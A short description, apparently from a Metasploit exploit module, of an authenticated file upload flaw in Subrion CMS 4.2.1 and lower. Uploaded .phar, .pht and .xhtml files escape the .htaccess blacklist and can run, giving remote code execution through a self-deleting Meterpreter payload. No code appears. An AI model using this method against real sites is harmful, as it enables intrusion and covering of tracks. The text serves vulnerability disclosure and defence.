          This module exploits an authenticated file upload vulnerability in
          Subrion CMS versions 4.2.1 and lower. The vulnerability is caused by
          the .htaccess file not preventing the execution of .pht, .phar, and
          .xhtml files. Files with these extensions are not included in the
          .htaccess blacklist, hence these files can be uploaded and executed
          to achieve remote code execution. In this module, a .phar file with
          a randomized name is uploaded and executed to receive a Meterpreter
          session on the target, then deletes itself afterwards.
